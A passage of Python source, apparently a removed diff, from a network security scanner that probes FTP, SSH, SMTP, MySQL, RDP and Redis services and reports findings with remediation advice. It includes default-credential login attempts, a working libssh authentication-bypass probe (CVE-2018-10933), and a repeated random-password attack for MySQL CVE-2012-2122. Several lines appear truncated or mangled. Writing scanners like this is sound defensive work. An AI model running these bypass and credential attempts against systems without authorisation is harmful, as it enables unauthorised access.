evidence=f"Accepted credential: {user}:{passwd}", - remediation="Change default passwords and enforce strong credential policies.", - owasp_id="A07:2021", - cwe_id="CWE-798", - confidence="certain", - )) - try: - ftp_cred.quit() - except Exception: - pass - except (ftplib.error_perm, ftplib.error_reply): - pass - except Exception: - pass - - # --- 7. Arbitrary credential acceptance test --- - import string as _string - ruser = "".join(random.choices(_string.ascii_lowercase, k=8)) - rpass = "".join(random.choices(_string.ascii_letters + _string.digits, k=12)) - try: - ftp_rand = _ftp_connect(ruser, rpass) - findings.append(Finding( - severity=Severity.CRITICAL, - title="FTP accepts arbitrary credentials", - description="Random credentials were accepted, indicating a dangerous misconfiguration or deceptive service.", - evidence=f"Accepted random creds {ruser}:{rpass}", - remediation="Investigate immediately — authentication is non-functional.", - owasp_id="A07:2021", - cwe_id="CWE-287", - confidence="certain", - )) - try: - ftp_rand.quit() - except Exception: - pass - except (ftplib.error_perm, ftplib.error_reply): - pass - except Exception: - pass - - return probe_result(raw_data=result, findings=findings) - - def _service_info_ssh(self, target, port): # default port: 22 - """ - Assess SSH service security: banner, auth methods, and default credentials. - - Checks performed (in order): - - 1. Banner grab — fingerprint server version. - 2. Auth method enumeration — identify if password auth is enabled. - 3. Default credential check — try a small list of common creds. - 4. Arbitrary credential acceptance test. - - Parameters - ---------- - target : str - Hostname or IP address. - port : int - Port being probed. - - Returns - ------- - dict - Structured findings with banner, auth_methods, and vulnerabilities. - """ - findings = [] - result = { - "banner": None, - "auth_methods": [], - } - - # --- 1. Banner grab (raw socket) --- - try: - sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - sock.settimeout(3) - sock.connect((target, port)) - banner = sock.recv(1024).decode("utf-8", errors="ignore").strip() - sock.close() - result["banner"] = banner - # Emit OS claim from SSH banner (e.g. "SSH-2.0-OpenSSH_8.9p1 Ubuntu") - _os_match = _re.search(r'(Ubuntu|Debian|Fedora|CentOS|Alpine|FreeBSD)', banner, _re.IGNORECASE) - if _os_match: - self._emit_metadata("os_claims", f"ssh:{port}", _os_match.group(1)) - except Exception as e: - return probe_error(target, port, "SSH", e) - - # --- 2. Auth method enumeration via paramiko Transport --- - try: - transport = paramiko.Transport((target, port)) - transport.connect() - try: - transport.auth_none("") - except paramiko.BadAuthenticationType as e: - result["auth_methods"] = list(e.allowed_types) - except paramiko.AuthenticationException: - result["auth_methods"] = ["unknown"] - finally: - transport.close() - except Exception as e: - self.P(f"SSH auth enumeration failed on {target}:{port}: {e}", color='y') - - if "password" in result["auth_methods"]: - findings.append(Finding( - severity=Severity.MEDIUM, - title="SSH password authentication is enabled (prefer key-based auth).", - description="The SSH server allows password-based login, which is susceptible to brute-force attacks.", - evidence=f"Auth methods: {', '.join(result['auth_methods'])}", - remediation="Disable PasswordAuthentication in sshd_config and use key-based auth.", - owasp_id="A07:2021", - cwe_id="CWE-287", - confidence="certain", - )) - - # --- 3. Default credential check --- - accepted_creds = [] - - for username, password in _SSH_DEFAULT_CREDS: - try: - client = paramiko.SSHClient() - client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) - client.connect( - target, port=port, - username=username, password=password, - timeout=3, auth_timeout=3, - look_for_keys=False, allow_agent=False, - ) - accepted_creds.append(f"{username}:{password}") - client.close() - except paramiko.AuthenticationException: - continue - except Exception: - break # connection issue, stop trying - - # --- 4. Arbitrary credential acceptance test --- - random_user = f"probe_{random.randint(10000, 99999)}" - random_pass = f"rnd_{random.randint(10000, 99999)}" - try: - client = paramiko.SSHClient() - client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) - client.connect( - target, port=port, - username=random_user, password=random_pass, - timeout=3, auth_timeout=3, - look_for_keys=False, allow_agent=False, - ) - findings.append(Finding( - severity=Severity.CRITICAL, - title="SSH accepts arbitrary credentials", - description="Random credentials were accepted, indicating a dangerous misconfiguration or deceptive service.", - evidence=f"Accepted random creds {random_user}:{random_pass}", - remediation="Investigate immediately — authentication is non-functional.", - owasp_id="A07:2021", - cwe_id="CWE-287", - confidence="certain", - )) - client.close() - except paramiko.AuthenticationException: - pass - except Exception: - pass - - if accepted_creds: - result["accepted_credentials"] = accepted_creds - for cred in accepted_creds: - findings.append(Finding( - severity=Severity.CRITICAL, - title=f"SSH default credential accepted: {cred}", - description=f"The SSH server accepted a well-known default credential.", - evidence=f"Accepted credential: {cred}", - remediation="Change default passwords immediately and enforce strong credential policies.", - owasp_id="A07:2021", - cwe_id="CWE-798", - confidence="certain", - )) - - # --- 5. Cipher/KEX audit --- - cipher_findings, weak_labels = self._ssh_check_ciphers(target, port) - findings += cipher_findings - result["weak_algorithms"] = weak_labels - - # --- 6. CVE check on banner version --- - if result["banner"]: - ssh_lib, ssh_version = self._ssh_identify_library(result["banner"]) - if ssh_lib and ssh_version: - result["ssh_library"] = ssh_lib - result["ssh_version"] = ssh_version - findings += check_cves(ssh_lib, ssh_version) - - # --- 7. libssh auth bypass (CVE-2018-10933) --- - if ssh_lib == "libssh": - bypass = self._ssh_check_libssh_bypass(target, port) - if bypass: - findings.append(bypass) - - return probe_result(raw_data=result, findings=findings) - - # Patterns: (regex, product_name_for_cve_db) - _SSH_LIBRARY_PATTERNS = [ - (_re.compile(r'OpenSSH[_\s](\d+\.\d+(?:\.\d+)?)', _re.IGNORECASE), "openssh"), - (_re.compile(r'libssh[_\s-](\d+\.\d+(?:\.\d+)?)', _re.IGNORECASE), "libssh"), - (_re.compile(r'dropbear[_\s](\d+(?:\.\d+)*)', _re.IGNORECASE), "dropbear"), - (_re.compile(r'paramiko[_\s](\d+\.\d+(?:\.\d+)?)', _re.IGNORECASE), "paramiko"), - (_re.compile(r'Erlang[/\s](?:OTP[_/\s]*)?(\d+\.\d+(?:\.\d+)*)', _re.IGNORECASE), "erlang_ssh"), - ] - - def _ssh_identify_library(self, banner): - """Identify SSH library and version from banner string. - - Returns - ------- - tuple[str | None, str | None] - (product_name, version) — product_name matches cve_db product keys. - """ - for pattern, product in self._SSH_LIBRARY_PATTERNS: - m = pattern.search(banner) - if m: - return product, m.group(1) - return None, None - - def _ssh_check_ciphers(self, target, port): - """Audit SSH ciphers, KEX, and MACs via paramiko Transport. - - Returns - ------- - tuple[list[Finding], list[str]] - (findings, weak_algorithm_labels) — findings for probe_result, - labels for the raw-data ``weak_algorithms`` field. - """ - findings = [] - weak_labels = [] - _WEAK_CIPHERS = {"3des-cbc", "blowfish-cbc", "arcfour", "arcfour128", "arcfour256", - "aes128-cbc", "aes192-cbc", "aes256-cbc", "cast128-cbc"} - _WEAK_KEX = {"diffie-hellman-group1-sha1", "diffie-hellman-group14-sha1", - "diffie-hellman-group-exchange-sha1"} - - try: - transport = paramiko.Transport((target, port)) - transport.connect() - sec_opts = transport.get_security_options() - - ciphers = set(sec_opts.ciphers) if sec_opts.ciphers else set() - kex = set(sec_opts.kex) if sec_opts.kex else set() - key_types = set(sec_opts.key_types) if sec_opts.key_types else set() - - # RSA key size check — must be done before transport.close() - try: - remote_key = transport.get_remote_server_key() - if remote_key is not None and remote_key.get_name() == "ssh-rsa": - key_bits = remote_key.get_bits() - if key_bits < 2048: - findings.append(Finding( - severity=Severity.HIGH, - title=f"SSH RSA key is critically weak ({key_bits}-bit)", - description=f"The server's RSA host key is only {key_bits}-bit, which is trivially factorable.", - evidence=f"RSA key size: {key_bits} bits", - remediation="Generate a new RSA key of at least 3072 bits, or switch to Ed25519.", - owasp_id="A02:2021", - cwe_id="CWE-326", - confidence="certain", - )) - weak_labels.append(f"rsa_key: {key_bits}-bit") - elif key_bits < 3072: - findings.append(Finding( - severity=Severity.LOW, - title=f"SSH RSA key below NIST recommendation ({key_bits}-bit)", - description=f"The server's RSA host key is {key_bits}-bit. NIST recommends >=3072-bit after 2023.", - evidence=f"RSA key size: {key_bits} bits", - remediation="Generate a new RSA key of at least 3072 bits, or switch to Ed25519.", - owasp_id="A02:2021", - cwe_id="CWE-326", - confidence="certain", - )) - weak_labels.append(f"rsa_key: {key_bits}-bit") - except Exception: - pass - - transport.close() - - # DSA key detection - if "ssh-dss" in key_types: - findings.append(Finding( - severity=Severity.MEDIUM, - title="SSH DSA host key offered (ssh-dss)", - description="The SSH server offers DSA host keys, which are limited to 1024-bit and considered weak.", - evidence=f"Key types: {', '.join(sorted(key_types))}", - remediation="Remove DSA host keys and use Ed25519 or RSA (>=3072-bit) instead.", - owasp_id="A02:2021", - cwe_id="CWE-326", - confidence="certain", - )) - weak_labels.append("key_types: ssh-dss") - - weak_ciphers = ciphers & _WEAK_CIPHERS - weak_kex = kex & _WEAK_KEX - - if weak_ciphers: - cipher_list = ", ".join(sorted(weak_ciphers)) - findings.append(Finding( - severity=Severity.MEDIUM, - title=f"SSH weak ciphers: {cipher_list}", - description="The SSH server offers ciphers considered cryptographically weak.", - evidence=f"Weak ciphers offered: {cipher_list}", - remediation="Disable CBC-mode and RC4 ciphers in sshd_config.", - owasp_id="A02:2021", - cwe_id="CWE-326", - confidence="certain", - )) - weak_labels.append(f"ciphers: {cipher_list}") - - if weak_kex: - kex_list = ", ".join(sorted(weak_kex)) - findings.append(Finding( - severity=Severity.MEDIUM, - title=f"SSH weak key exchange: {kex_list}", - description="The SSH server offers key-exchange algorithms with known weaknesses.", - evidence=f"Weak KEX offered: {kex_list}", - remediation="Disable SHA-1 based key exchange algorithms in sshd_config.", - owasp_id="A02:2021", - cwe_id="CWE-326", - confidence="certain", - )) - weak_labels.append(f"kex: {kex_list}") - - except Exception as e: - self.P(f"SSH cipher audit failed on {target}:{port}: {e}", color='y') - - return findings, weak_labels - - def _ssh_check_libssh_bypass(self, target, port): - """Test CVE-2018-10933: libssh auth bypass via premature USERAUTH_SUCCESS. - - Affected versions: libssh 0.6.0–0.8.3 (fixed in 0.7.6 / 0.8.4). - The vulnerability allows a client to send SSH2_MSG_USERAUTH_SUCCESS (52) - instead of a proper auth request, and the server accepts it. - - Returns - ------- - Finding or None - """ - try: - transport = paramiko.Transport((target, port)) - transport.connect() - # SSH2_MSG_USERAUTH_SUCCESS = 52 (0x34) - msg = paramiko.Message() - msg.add_byte(b'\x34') - transport._send_message(msg) - try: - chan = transport.open_session(timeout=3) - if chan is not None: - chan.close() - transport.close() - return Finding( - severity=Severity.CRITICAL, - title="libssh auth bypass (CVE-2018-10933)", - description="Server accepted SSH2_MSG_USERAUTH_SUCCESS from client, " - "bypassing authentication entirely. Full shell access possible.", - evidence="Session channel opened after sending USERAUTH_SUCCESS.", - remediation="Upgrade libssh to >= 0.8.4 or >= 0.7.6.", - owasp_id="A07:2021", - cwe_id="CWE-287", - confidence="certain", - ) - except Exception: - pass - transport.close() - except Exception as e: - self.P(f"libssh bypass check failed on {target}:{port}: {e}", color='y') - return None - - def _service_info_smtp(self, target, port): # default port: 25 - """ - Assess SMTP service security: banner, EHLO features, STARTTLS, - authentication methods, open relay, and user enumeration. - - Checks performed (in order): - - 1. Banner grab — fingerprint MTA software and version. - 2. EHLO — enumerate server capabilities (SIZE, AUTH, STARTTLS, etc.). - 3. STARTTLS support — check for encryption. - 4. AUTH methods — detect available authentication mechanisms. - 5. Open relay test — attempt MAIL FROM / RCPT TO without auth. - 6. VRFY / EXPN — test user enumeration commands. - - Parameters - ---------- - target : str - Hostname or IP address. - port : int - Port being probed. - - Returns - ------- - dict - Structured findings. - """ - import smtplib - - findings = [] - result = { - "banner": None, - "server_hostname": None, - "max_message_size": None, - "auth_methods": [], - } - - # --- 1. Connect and grab banner --- - try: - smtp = smtplib.SMTP(timeout=5) - code, msg = smtp.connect(target, port) - result["banner"] = f"{code} {msg.decode(errors='replace')}" - except Exception as e: - return probe_error(target, port, "SMTP", e) - - # --- 2. EHLO — server capabilities --- - identity = getattr(self, 'scanner_identity', 'probe.redmesh.local') - ehlo_features = [] - try: - code, msg = smtp.ehlo(identity) - if code == 250: - for line in msg.decode(errors="replace").split("\n"): - feat = line.strip() - if feat: - ehlo_features.append(feat) - except Exception: - # Fallback to HELO - try: - smtp.helo(identity) - except Exception: - pass - - # Parse meaningful fields from EHLO response - for idx, feat in enumerate(ehlo_features): - upper = feat.upper() - if idx == 0 and " Hello " in feat: - # First line is the server greeting: "hostname Hello client [ip]" - result["server_hostname"] = feat.split()[0] - if upper.startswith("SIZE "): - try: - size_bytes = int(feat.split()[1]) - result["max_message_size"] = f"{size_bytes // (1024*1024)}MB" - except (ValueError, IndexError): - pass - if upper.startswith("AUTH "): - result["auth_methods"] = feat.split()[1:] - - # --- 2b. Banner timezone extraction --- - banner_text = result["banner"] or "" - _tz_match = _re.search(r'([+-]\d{4})\s*$', banner_text) - if _tz_match: - self._emit_metadata("timezone_hints", {"offset": _tz_match.group(1), "source": f"smtp:{port}"}) - - # --- 2c. Banner / hostname information disclosure --- - # Extract MTA version from banner (e.g. "Exim 4.97", "Postfix", "Sendmail 8.x") - version_match = _re.search( - r"(Exim|Postfix|Sendmail|Microsoft ESMTP|hMailServer|Haraka|OpenSMTPD)" - r"[\s/]*([0-9][0-9.]*)?", - banner_text, _re.IGNORECASE, - ) - if version_match: - mta = version_match.group(0).strip() - findings.append(Finding( - severity=Severity.LOW, - title=f"SMTP banner discloses MTA software: {mta} (aids CVE lookup).", - description="The SMTP banner reveals the mail transfer agent software and version.", - evidence=f"Banner: {banner_text[:120]}", - remediation="Remove or genericize the SMTP banner to hide MTA version details.", - owasp_id="A05:2021", - cwe_id="CWE-200", - confidence="certain", - )) - - # CVE check on extracted MTA version - _smtp_product_map = {'exim': 'exim', 'postfix': 'postfix', 'opensmtpd': 'opensmtpd'} - _mta_version = version_match.group(2) if version_match and version_match.group(2) else None - _mta_name = version_match.group(1).lower() if version_match else None - - # If banner lacks version (common with OpenSMTPD), try HELP command - if version_match and not _mta_version: - try: - code, msg = smtp.docmd("HELP") - help_text = msg.decode(errors="replace") if isinstance(msg, bytes) else str(msg) - _help_ver = _re.search(r'(\d+\.\d+(?:\.\d+)*(?:p\d+)?)', help_text) - if _help_ver: - _mta_version = _help_ver.group(1) - except Exception: - pass - - if _mta_name and _mta_version: - _cve_product = _smtp_product_map.get(_mta_name) - if _cve_product: - findings += check_cves(_cve_product, _mta_version) - - if result["server_hostname"]: - # Check if hostname reveals container/internal info - hostname = result["server_hostname"] - if _re.search(r"[0-9a-f]{12}", hostname): - self._emit_metadata("container_ids", {"id": hostname, "source": f"smtp:{port}"}) - findings.append(Finding( - severity=Severity.LOW, - title=f"SMTP hostname leaks container ID: {hostname} (infrastructure disclosure).", - description="The EHLO response reveals a container ID or internal hostname.", - evidence=f"Hostname: {hostname}", - remediation="Configure the SMTP server to use a proper FQDN instead of the container ID.", - owasp_id="A05:2021", - cwe_id="CWE-200", - confidence="firm", - )) - if _re.match(r'^[a-z0-9-]+-[a-z0-9]{8,10}$', hostname): - self._emit_metadata("container_ids", {"id": hostname, "source": f"smtp_k8s:{port}"}) - findings.append(Finding( - severity=Severity.LOW, - title=f"SMTP hostname matches Kubernetes pod name pattern: {hostname}", - description="The EHLO hostname resembles a Kubernetes pod name (deployment-replicaset-podid).", - evidence=f"Hostname: {hostname}", - remediation="Configure the SMTP server to use a proper FQDN instead of the pod name.", - owasp_id="A05:2021", - cwe_id="CWE-200", - confidence="firm", - )) - if hostname.endswith('.internal'): - self._emit_metadata("container_ids", {"id": hostname, "source": f"smtp_internal:{port}"}) - findings.append(Finding( - severity=Severity.LOW, - title=f"SMTP hostname uses cloud-internal DNS suffix: {hostname}", - description="The EHLO hostname ends with '.internal', indicating AWS/GCP internal DNS.", - evidence=f"Hostname: {hostname}", - remediation="Configure the SMTP server to use a public FQDN instead of internal DNS.", - owasp_id="A05:2021", - cwe_id="CWE-200", - confidence="firm", - )) - - # --- 3. STARTTLS --- - starttls_supported = any("STARTTLS" in f.upper() for f in ehlo_features) - if not starttls_supported: - try: - code, msg = smtp.docmd("STARTTLS") - if code == 220: - starttls_supported = True - except Exception: - pass - - if not starttls_supported: - findings.append(Finding( - severity=Severity.MEDIUM, - title="SMTP does not support STARTTLS (credentials sent in cleartext).", - description="The SMTP server does not offer STARTTLS, leaving credentials and mail unencrypted.", - evidence="STARTTLS not listed in EHLO features and STARTTLS command rejected.", - remediation="Enable STARTTLS support on the SMTP server.", - owasp_id="A02:2021", - cwe_id="CWE-319", - confidence="certain", - )) - - # --- 4. AUTH without credentials --- - if result["auth_methods"]: - try: - code, msg = smtp.docmd("AUTH LOGIN") - if code == 235: - findings.append(Finding( - severity=Severity.HIGH, - title="SMTP AUTH LOGIN accepted without credentials.", - description="The SMTP server accepted AUTH LOGIN without providing actual credentials.", - evidence=f"AUTH LOGIN returned code {code}.", - remediation="Fix AUTH configuration to require valid credentials.", - owasp_id="A07:2021", - cwe_id="CWE-287", - confidence="certain", - )) - except Exception: - pass - - # --- 5. Open relay test --- - try: - smtp.rset() - except Exception: - try: - smtp.quit() - except Exception: - pass - try: - smtp = smtplib.SMTP(target, port, timeout=5) - smtp.ehlo(identity) - except Exception: - smtp = None - - if smtp: - try: - code_from, _ = smtp.docmd(f"MAIL FROM:") - if code_from == 250: - code_rcpt, _ = smtp.docmd("RCPT TO:") - if code_rcpt == 250: - findings.append(Finding( - severity=Severity.HIGH, - title="SMTP open relay detected (accepts mail to external domains without auth).", - description="The SMTP server relays mail to external domains without authentication.", - evidence="RCPT TO: accepted (code 250).", - remediation="Configure SMTP relay restrictions to require authentication.", - owasp_id="A01:2021", - cwe_id="CWE-284", - confidence="certain", - )) - smtp.docmd("RSET") - except Exception: - pass - - # --- 6. VRFY / EXPN --- - if smtp: - for cmd_name in ("VRFY", "EXPN"): - try: - code, msg = smtp.docmd(cmd_name, "root") - if code in (250, 251, 252): - findings.append(Finding( - severity=Severity.MEDIUM, - title=f"SMTP {cmd_name} command enabled (user enumeration possible).", - description=f"The {cmd_name} command can be used to enumerate valid users on the system.", - evidence=f"{cmd_name} root returned code {code}.", - remediation=f"Disable the {cmd_name} command in the SMTP server configuration.", - owasp_id="A01:2021", - cwe_id="CWE-203", - confidence="certain", - )) - except Exception: - pass - - if smtp: - try: - smtp.quit() - except Exception: - pass - - return probe_result(raw_data=result, findings=findings) - - def _service_info_mysql(self, target, port): # default port: 3306 - """ - MySQL handshake probe: extract version, auth plugin, and check CVEs. - - Parameters - ---------- - target : str - Hostname or IP address. - port : int - Port being probed. - - Returns - ------- - dict - Structured findings. - """ - findings = [] - raw = {"version": None, "auth_plugin": None} - try: - sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - sock.settimeout(3) - sock.connect((target, port)) - data = sock.recv(256) - sock.close() - - if data and len(data) > 4: - # MySQL protocol: first byte of payload is protocol version (0x0a = v10) - pkt_payload = data[4:] # skip 3-byte length + 1-byte seq - if pkt_payload and pkt_payload[0] == 0x0a: - version = pkt_payload[1:].split(b'\x00')[0].decode('utf-8', errors='ignore') - raw["version"] = version - - # Extract auth plugin name (at end of handshake after capabilities/salt) - try: - parts = pkt_payload.split(b'\x00') - if len(parts) >= 2: - last = parts[-2].decode('utf-8', errors='ignore') if parts[-1] == b'' else parts[-1].decode('utf-8', errors='ignore') - if 'mysql_native' in last or 'caching_sha2' in last or 'sha256' in last: - raw["auth_plugin"] = last - except Exception: - pass - - findings.append(Finding( - severity=Severity.LOW, - title=f"MySQL version disclosed: {version}", - description=f"MySQL {version} handshake received on {target}:{port}.", - evidence=f"version={version}, auth_plugin={raw['auth_plugin']}", - remediation="Restrict MySQL to trusted networks; consider disabling version disclosure.", - confidence="certain", - )) - - # Salt entropy check — extract 20-byte auth scramble from handshake - try: - import math - # After version null-terminated string: 4 bytes thread_id + 8 bytes salt1 - after_version = pkt_payload[1:].split(b'\x00', 1)[1] - if len(after_version) >= 12: - salt1 = after_version[4:12] # 8 bytes after thread_id - # Salt part 2: after capabilities(2)+charset(1)+status(2)+caps_upper(2)+auth_len(1)+reserved(10) - salt2 = b'' - if len(after_version) >= 31: - salt2 = after_version[31:43].rstrip(b'\x00') - full_salt = salt1 + salt2 - if len(full_salt) >= 8: - # Shannon entropy - byte_counts = {} - for b in full_salt: - byte_counts[b] = byte_counts.get(b, 0) + 1 - entropy = 0.0 - n = len(full_salt) - for count in byte_counts.values(): - p = count / n - if p > 0: - entropy -= p * math.log2(p) - raw["salt_entropy"] = round(entropy, 2) - if entropy < 2.0: - findings.append(Finding( - severity=Severity.HIGH, - title=f"MySQL salt entropy critically low ({entropy:.2f} bits)", - description="The authentication scramble has abnormally low entropy, " - "suggesting a non-standard or deceptive MySQL service.", - evidence=f"salt_entropy={entropy:.2f}, salt_hex={full_salt.hex()[:40]}", - remediation="Investigate this MySQL instance — authentication randomness is insufficient.", - cwe_id="CWE-330", - confidence="firm", - )) - except Exception: - pass - - # CVE check - findings += check_cves("mysql", version) - else: - raw["protocol_byte"] = pkt_payload[0] if pkt_payload else None - findings.append(Finding( - severity=Severity.INFO, - title="MySQL port open (non-standard handshake)", - description=f"Port {port} responded but protocol byte is not 0x0a.", - confidence="tentative", - )) - else: - findings.append(Finding( - severity=Severity.INFO, - title="MySQL port open (no banner)", - description=f"No handshake data received on {target}:{port}.", - confidence="tentative", - )) - except Exception as e: - return probe_error(target, port, "MySQL", e) - - return probe_result(raw_data=raw, findings=findings) - - def _service_info_mysql_creds(self, target, port): # default port: 3306 - """ - MySQL default credential testing (opt-in via active_auth feature group). - - Attempts mysql_native_password auth with a small list of default credentials. - - Parameters - ---------- - target : str - Hostname or IP address. - port : int - Port being probed. - - Returns - ------- - dict - Structured findings. - """ - import hashlib - - findings = [] - raw = {"tested_credentials": 0, "accepted_credentials": []} - creds = [("root", ""), ("root", "root"), ("root", "password")] - - for username, password in creds: - try: - sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - sock.settimeout(3) - sock.connect((target, port)) - data = sock.recv(256) - - if not data or len(data) < 4: - sock.close() - continue - - pkt_payload = data[4:] - if not pkt_payload or pkt_payload[0] != 0x0a: - sock.close() - continue - - # Extract salt (scramble) from handshake - parts = pkt_payload[1:].split(b'\x00', 1) - rest = parts[1] if len(parts) > 1 else b'' - # Salt part 1: bytes 4..11 after capabilities (skip 4 bytes capabilities + 1 byte filler) - if len(rest) >= 13: - salt1 = rest[5:13] - else: - sock.close() - continue - # Salt part 2: after reserved bytes (skip 2+2+1+10 reserved = 15) - salt2 = b'' - if len(rest) >= 28: - salt2 = rest[28:40].rstrip(b'\x00') - salt = salt1 + salt2 - - # mysql_native_password auth response - if password: - sha1_pass = hashlib.sha1(password.encode()).digest() - sha1_sha1 = hashlib.sha1(sha1_pass).digest() - sha1_salt_sha1sha1 = hashlib.sha1(salt + sha1_sha1).digest() - auth_data = bytes(a ^ b for a, b in zip(sha1_pass, sha1_salt_sha1sha1)) - else: - auth_data = b'' - - # Build auth response packet - client_flags = struct.pack('= 5: - resp_type = resp[4] - if resp_type == 0x00: # OK packet - cred_str = f"{username}:{password}" if password else f"{username}:(empty)" - raw["accepted_credentials"].append(cred_str) - findings.append(Finding( - severity=Severity.CRITICAL, - title=f"MySQL default credential accepted: {cred_str}", - description=f"MySQL on {target}:{port} accepts {cred_str}.", - evidence=f"Auth response OK for {cred_str}", - remediation="Change default passwords and restrict access.", - owasp_id="A07:2021", - cwe_id="CWE-798", - confidence="certain", - )) - except Exception: - continue - - if not findings: - findings.append(Finding( - severity=Severity.INFO, - title="MySQL default credentials rejected", - description=f"Tested {raw['tested_credentials']} credential pairs, all rejected.", - confidence="certain", - )) - - # --- CVE-2012-2122 auth bypass test --- - # Affected: MySQL 5.1.x < 5.1.63, 5.5.x < 5.5.25, MariaDB < 5.5.23 - # Bug: memcmp return value truncation means ~1/256 chance of auth bypass - cve_bypass = self._mysql_test_cve_2012_2122(target, port) - if cve_bypass: - findings.append(cve_bypass) - raw["cve_2012_2122"] = True - - return probe_result(raw_data=raw, findings=findings) - - # Affected version ranges for CVE-2012-2122 - _MYSQL_CVE_2012_2122_RANGES = [ - ((5, 1, 0), (5, 1, 63)), # MySQL 5.1.x < 5.1.63 - ((5, 5, 0), (5, 5, 25)), # MySQL 5.5.x < 5.5.25 - ] - - def _mysql_test_cve_2012_2122(self, target, port): - """Test for MySQL CVE-2012-2122 timing-based authentication bypass. - - On affected versions, memcmp() return value is cast to char, giving - a ~1/256 chance that any password is accepted. 300 attempts gives - ~69% probability of detection. - - Returns - ------- - Finding or None - CRITICAL finding if bypass confirmed, None otherwise. - """ - import hashlib - - # First, connect to get version - try: - sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - sock.settimeout(3) - sock.connect((target, port)) - data = sock.recv(256) - sock.close() - except Exception: - return None - - if not data or len(data) < 5: - return None - pkt_payload = data[4:] - if not pkt_payload or pkt_payload[0] != 0x0a: - return None - - version_str = pkt_payload[1:].split(b'\x00')[0].decode('utf-8', errors='ignore') - version_tuple = tuple(int(x) for x in _re.findall(r'\d+', version_str)[:3]) - if len(version_tuple) < 3: - return None - - # Check if version is in affected range - affected = False - for low, high in self._MYSQL_CVE_2012_2122_RANGES: - if low <= version_tuple < high: - affected = True - break - if not affected: - return None - - # Attempt rapid auth with random passwords - self.P(f"MySQL {version_str} in CVE-2012-2122 range — testing auth bypass ({target}:{port})", color='y') - attempts = 300 - - try: - sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - sock.settimeout(5) - sock.connect((target, port)) - - for _ in range(attempts): - # Read handshake - data = sock.recv(512) - if not data or len(data) < 5: - break - pkt_payload = data[4:] - if not pkt_payload or pkt_payload[0] != 0x0a: - break - - # Extract salt - parts = pkt_payload[1:].split(b'\x00', 1) - rest = parts[1] if len(parts) > 1 else b'' - if len(rest) < 13: - break - salt1 = rest[5:13] - salt2 = rest[28:40].rstrip(b'\x00') if len(rest) >= 28 else b'' - salt = salt1 + salt2 - - # Auth with random password - rand_pass = random.randbytes(20) - sha1_pass = hashlib.sha1(rand_pass).digest() - sha1_sha1 = hashlib.sha1(sha1_pass).digest() - sha1_salt = hashlib.sha1(salt + sha1_sha1).digest() - auth_data = bytes(a ^ b for a, b in zip(sha1_pass, sha1_salt)) - - client_flags = struct.pack('= 5 and resp[4] == 0x00: - sock.close() - return Finding( - severity=Severity.CRITICAL, - title=f"MySQL authentication bypass confirmed (CVE-2012-2122)", - description=f"MySQL {version_str} on {target}:{port} accepted login with a random password " - "due to CVE-2012-2122 memcmp truncation bug. Any attacker can gain root access.", - evidence=f"Auth succeeded with random password on attempt (version {version_str})", - remediation="Upgrade MySQL to at least 5.1.63 / 5.5.25 / MariaDB 5.5.23.", - owasp_id="A07:2021", - cwe_id="CWE-305", - confidence="certain", - ) - - # If error packet, server closes connection — reconnect - if resp and len(resp) >= 5 and resp[4] == 0xFF: - sock.close() - sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - sock.settimeout(3) - sock.connect((target, port)) - - sock.close() - except Exception: - pass - return None - - def _service_info_rdp(self, target, port): # default port: 3389 - """ - Verify reachability of RDP services without full negotiation. - - Parameters - ---------- - target : str - Hostname or IP address. - port : int - Port being probed. - - Returns - ------- - dict - Structured findings. - """ - findings = [] - raw = {"banner": None} - try: - sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - sock.settimeout(2) - sock.connect((target, port)) - raw["banner"] = "RDP service open" - findings.append(Finding( - severity=Severity.INFO, - title="RDP service detected", - description=f"RDP port {port} is open on {target}, no further enumeration performed.", - evidence=f"TCP connect to {target}:{port} succeeded.", - confidence="certain", - )) - sock.close() - except Exception as e: - return probe_error(target, port, "RDP", e) - return probe_result(raw_data=raw, findings=findings) - - # SAFETY: Read-only commands only. NEVER add CONFIG SET, SLAVEOF, MODULE LOAD, EVAL, DEBUG. - def _service_info_redis(self, target, port): # default port: 6379 - """ - Deep Redis probe: auth check, version, config readability, data size, client list. - - Parameters - ---------- - target : str - Hostname or IP address. - port : int - Port being probed. - - Returns - ------- - dict - Structured findings. - """ - findings, raw = [], {"version": None, "os": None, "config_writable": False} - sock = self._redis_connect(target, port) - if not sock: - return probe_error(target, port, "Redis", Exception("connection failed")) - - auth_findings = self._redis_check_auth(sock, raw) - if not auth_findings: - # NOAUTH response — requires auth, stop here - sock.close() - return probe_result( - raw_data=raw, - findings=[Finding(Severity.INFO, "Redis requires authentication", "PING returned NOAUTH.")], - ) - - findings += auth_findings - findings += self._redis_check_info(sock, raw) - findings += self._redis_check_config(sock, raw) - findings += self._redis_check_data(sock, raw) - findings += self._redis_check_clients(sock, raw) - findings += self._redis_check_persistence(sock, raw) - - # CVE check - if raw["version"]: - findings += check_cves("redis", raw["version"]) - - sock.close() - return probe_result(raw_data=raw, findings=findings) - - def _redis_connect(self, target, port): - """Open a TCP socket to Redis.""" - try: - sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - sock.settimeout(3) - sock.connect((target, port)) - return sock - except Exception as e: - self.P(f"Redis connect failed on {target}:{port}: {e}", color='y') - return None - - def _redis_cmd(self, sock, cmd): - """Send an inline Redis command and return the response string.""" - try: - sock.sendall(f"{cmd}\r\n".encode()) - data = sock.recv(4096).decode('utf-8', errors='ignore') - return data - except Exception: - return "" - - def _redis_check_auth(self, sock, raw): - """PING to check if auth is required. Returns findings if no auth, empty list if NOAUTH.""" - resp = self._redis_cmd(sock, "PING") - if resp.startswith("+PONG"): - return [Finding( - severity=Severity.CRITICAL, - title="Redis unauthenticated access", - description="Redis responded to PING without authentication.", - evidence=f"Response: {resp.strip()[:80]}", - remediation="Set a strong password via requirepass in redis.conf.", - owasp_id="A07:2021", - cwe_id="CWE-287", - confidence="certain", - )] - if "-NOAUTH" in resp.upper(): - return [] # signal: auth required - return [Finding( - severity=Severity.LOW, - title="Redis unusual PING response", - description=f"Unexpected response: {resp.strip()[:80]}", - confidence="tentative", - )] - - def _redis_check_info(self, sock, raw): - """Extract version and OS from INFO server.""" - findings = [] - resp = self._redis_cmd(sock, "INFO server") - if resp.startswith("-"): - 